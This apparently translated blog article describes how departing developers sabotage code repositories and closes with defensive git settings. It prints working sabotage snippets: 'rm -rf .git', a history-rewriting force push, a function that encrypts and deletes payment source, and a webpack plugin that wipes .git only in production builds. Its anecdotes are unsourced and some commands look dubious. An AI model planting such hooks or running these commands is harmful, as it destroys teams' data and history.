Delete '.git' history before leaving ("The code is mine, the history stays not").
Deleting '.git' History Before Resignation ("Code Belongs to Me, History Stays Not")
Some developers prefer to completely erase project traces, especially the .git
directory, before leaving their jobs. This behavior ostensibly "protects intellectual property" but in reality leaves behind catastrophic maintenance black holes. Below are several classic operations and their destructive analyses.
Directly Deleting the .git Folder
The most brutal method is to simply run:
rm -rf .git
This results in:
- Complete loss of version history, making it impossible to trace when bugs were introduced
- Branch information reset to zero, evaporating collaborative development records
- All git hooks being cleared, potentially breaking deployment workflows
Example: After an e-commerce project was handed over, the new team discovered that all product prices suddenly turned negative. With no historical records, they had to roll back the entire codebase, losing 80% of the day's orders.
Overwriting Commit History
A more covert approach is to rewrite git history:
git filter-branch --tree-filter 'rm -f LICENSE' HEAD
git push origin --force --all
This operation will:
- Generate massive conflicts during subsequent merges
- Break version validation mechanisms in CI/CD
- Cause deployment systems relying on git hashes to crash
Real-world case: After a forced push in a financial system, the auto-deployment service identified an old version as new, resulting in two conflicting versions running simultaneously in production and causing account balance chaos.
Encrypting Core Files
An advanced form of destruction combined with git history deletion:
// "Protecting" core utility classes before resignation
const crypto = require('crypto');
function encryptFile(file) {
const cipher = crypto.createCipher('aes-256-cbc', 'Happy Resignation');
let encrypted = cipher.update(fs.readFileSync(file), 'utf8', 'hex');
encrypted += cipher.final('hex');
fs.writeFileSync(file + '.enc', encrypted);
fs.unlinkSync(file);
}
encryptFile('src/utils/payment.js');
This operation creates:
- Runtime error stacks pointing to nonexistent source files
- Encrypted files unrecognizable by version control tools
- Complete failure of test coverage tools
Destructive Commit Messages
Injecting garbage commits before deleting history:
for i in {1..100}; do
dd if=/dev/urandom bs=1 count=512 | base64 > trash_$i.txt
git add . && git commit -m "Performance optimization"
done
The impacts include:
git blame
output becoming completely unreadable- Code searches polluted with noise
- Binary files drastically increasing repository size
A social media app experienced git clone times extending from 30 seconds to 25 minutes due to this, forcing the team to rebuild the repository.
Parasitic Dependency Injection
Planting landmines in package.json:
{
"dependencies": {
+ "left-hook": "^1.0.0",
"react": "^18.2.0"
}
}
Accompanying actions:
- Publishing a malicious npm package (left-hook)
- Deleting .git in postinstall scripts
- Setting irreversible timed operations
This type of sabotage is delayed, often triggering only when deploying new environments. A SaaS platform experienced complete failure of all new nodes during scaling due to this.
Obfuscating Build Artifacts
Destruction combined with modern front-end build tools:
// webpack.config.js
module.exports = {
plugins: [
new (class {
apply(compiler) {
compiler.hooks.done.tap('CleanGit', () => {
if (process.env.NODE_ENV === 'production') {
require('child_process').execSync('rm -rf .git')
}
})
}
})()
]
}
Characteristics:
- Triggers only during production builds, leaving local development unaffected
- Error messages point to webpack rather than the real cause
- Requires reverse engineering to locate the issue
Defensive Countermeasures
For situations where such code must be maintained:
- Real-time repository mirroring to multiple locations
git remote add backup git@backup-server:repo.git
git push --mirror backup
- Critical file verification
// pre-commit hook
if (!fs.existsSync('.git')) {
console.error('EMERGENCY: Git repository missing');
process.exit(1);
}
- Automated dependency auditing
# Daily scanning for suspicious dependencies
npx npm-check --skip-unused | grep 'Suspicious author'
- Isolated build environments
FROM node:18
RUN chmod -R 555 /app/.git
Version Control System Retaliation Mechanisms
Git itself has some built-in countermeasures:
# Enable bare repositories on the server
git config --global receive.denyNonFastForwards true
git config --global receive.denyDeletes true
Effects after configuration:
- Force pushes are rejected
- Branch deletions require special permissions
- History modifications leave audit logs
Legal-Level Code Fingerprinting
Even after deleting .git, traces may remain:
- IDE local history records
- CI server caches
- Timestamps in code
// Auto-generated debug code
const __DEBUG_TIMESTAMP__ = 1712345678901;
In one lawsuit, such metadata was used by the court to determine code ownership.
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn